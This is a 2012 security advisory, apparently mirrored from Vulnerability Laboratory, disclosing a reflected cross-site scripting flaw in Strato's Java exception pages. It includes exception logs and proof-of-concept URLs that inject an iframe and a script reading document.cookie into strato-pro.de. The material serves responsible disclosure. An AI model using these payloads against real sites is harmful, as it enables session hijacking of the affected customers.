Lucene search
K

Strato NumberFormatException - Validation Vulnerability

🗓️ 20 Jan 2012 00:00:00Reported by Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)Type 
vulnerlab
 vulnerlab
🔗 www.vulnerability-lab.com👁 11 Views

Strato ISP Application NumberFormatException Validation Vulnerabilit

Code
Document Title:
===============
Strato  NumberFormatException - Validation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=395


Release Date:
=============
2012-01-20


Vulnerability Laboratory ID (VL-ID):
====================================
395


Product & Service Introduction:
===============================
1.4 million customers in six European countries trust the STRATO AG. In two high-performance computing centers
Europe s second largest web host operates 35 000 servers with over 4 million domains. Regularly by the TÜV
checked and confirmed that a web site, server, online shops and corporate applications in data centers are
kept safe and highly available.

In addition, ensure brand hardware, routing equipment and ultra-modern direct-access fiber backbone for the highest
Security, availability and performance. STRATO has ten years experience in web hosting technologies and offers
the entire spectrum of modern hosting services ranging from web hosting packages on dedicated and virtual
Servers, and online web shops, to innovative solutions on Microsoft and Oracle database.
 
(Copy of the Vendor  Homepage: https://www.strato-pro.de/)
(Copy of the Vendor  Homepage: https://www.strato-pro.de/)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an input/output validation Vulnerability on the Strato & StratoPro ISP Application.


Vulnerability Disclosure Timeline:
==================================
2011-03-17:	Vendor Notification
2011-**-**:	Vendor Response/Feedback
2011-12-29:	Vendor Fix/Patch  by Check
2012-01-21:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An Input Validation Vulnerability is detected on the Strato & StratoPro website java.NumberFormatException Handling. 
Attackers can execute client-side script code via input output request. The vulnerability allows an remote attacker 
also to hijack customer sessions via medium required user inter action. The bug is located on the java.NumberFormatException 
which executed the output on our test. 
 
Vulnerable Module(s): 
						[+] java.lang.NumberFormatException


--- Exception Logs ---
1.1
java.lang.NumberFormatException: > <INSERT SCRIPTCODE HERE!> is not an integer value.<br>
	at com.sfs.lang.CharBuffer.toInt(CharBuffer.java:399)<br>
	at com.sfs.siteforum.server.tree.Connection.<init>(Connection.java:135)<br>
	at com.sfs.siteforum.server.tree.RootBranch.service(RootBranch.java:443)<br>
	at com.sfs.siteforum.server.tree.RootBranch.service(RootBranch.java:424)<br>
	at com.sfs.siteforum.server.tree.RootBranch.service(RootBranch.java:414)<br>
	at com.sfs.siteforum.server.Service.service(Service.java:320)<br>
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:717)<br>
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)<br>
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)<br>
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233)<br>
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)<br>
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)<br>
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)<br>
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)<br>
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:298)<br>
	at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190)<br>
	at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:291)<br>
	at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:769)<br>
	at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:698)<br>
	at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:891)<br>
	at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690)<br>
	at java.lang.Thread.run(Thread.java:619)<br>


<!--END of ERROR-->
</td></tr></table></td></tr></table></center></div>
</center></BODY></HTML>


1.2
}

.defaultButton1 {
  margin-left: 5px;
  background-image: url(../images/login_header_gradient.gif);
  border: 1px solid #87AABF;
  padding: 2px 2px 2px 2px;
}
</style>
<div class= errorHeader >MyFaces encountered an error.</div>
<span class= errorMessageTitle >Message:</span> 
<span class= errorMessage >null</span><br/><span id= errorDetails  class= errorExceptions ><pre class= errorExceptionCause >java.lang.NumberFormatException: 
For input string:  > <iframe src=http://vulnerability-lab.com width=1200 height=900> 
	at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
	at java.lang.Long.parseLong(Long.java:410)
	at org.apache.myfaces.orchestra.conversation.ConversationManager.findConversationContextId(ConversationManager.java:157)
	at org.apache.myfaces.orchestra.conversation.ConversationManager.getCurrentRootConversationContext(ConversationManager.java:564)
	at org.apache.myfaces.orchestra.lib.jsf.ContextLockRequestHandler.init(ContextLockRequestHandler.java:87)
	at org.apache.myfaces.orchestra.lib.jsf.OrchestraFacesContextFactory$1.<init>(OrchestraFacesContextFactory.java:119)
	at org.apache.myfaces.orchestra.lib.jsf.OrchestraFacesContextFactory.getFacesContext(OrchestraFacesContextFactory.java:100)
	at org.apache.myfaces.orchestra.requestParameterProvider.jsf.RequestParameterFacesContextFactory.getFacesContext
(RequestParameterFacesContextFactory.java:92)
	at org.apache.myfaces.webapp.filter.TomahawkFacesContextFactory.getFacesContext(TomahawkFacesContextFactory.java:107)
	at org.apache.myfaces.trinidadinternal.context.FacesContextFactoryImpl.getFacesContext(FacesContextFactoryImpl.java:64)


Picture(s):
						../ive.png


Proof of Concept (PoC):
=======================
This vulnerabilities can be exploited by remote attackers with medium required user inter action. For demonstration or reproduce ...

Server:			https://www.strato-pro.de/
Value:			sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=


PoC:
https://www.strato-pro.de/sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=
%3E%22%3Ciframe%20src=http://vulnerability-lab.com%20width=500%20height=500%3E&active=no&ParentID=1224247919878&StoryID=1229602299989#

https://www.strato-pro.de/sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=
%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&active=no&ParentID=1224247919878&StoryID=1229602299989#

This vulnerabilities can be exploited by remote attackers with medium required user inter action. For demonstration or reproduce ...

Server:			https://www.strato-pro.de/
Value:			sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=


PoC:
https://www.strato-pro.de/sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=
%3E%22%3Ciframe%20src=http://vulnerability-lab.com%20width=500%20height=500%3E&active=no&ParentID=1224247919878&StoryID=1229602299989#

https://www.strato-pro.de/sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=
%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&active=no&ParentID=1224247919878&StoryID=1229602299989#


Reference(s):
						../poc1-review.txt
						../poc2-review.txt


Security Risk:
==============
The security risk of the non-persistent vulnerability is estimated as medium because the issue is located on the exception-handling itself.


Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation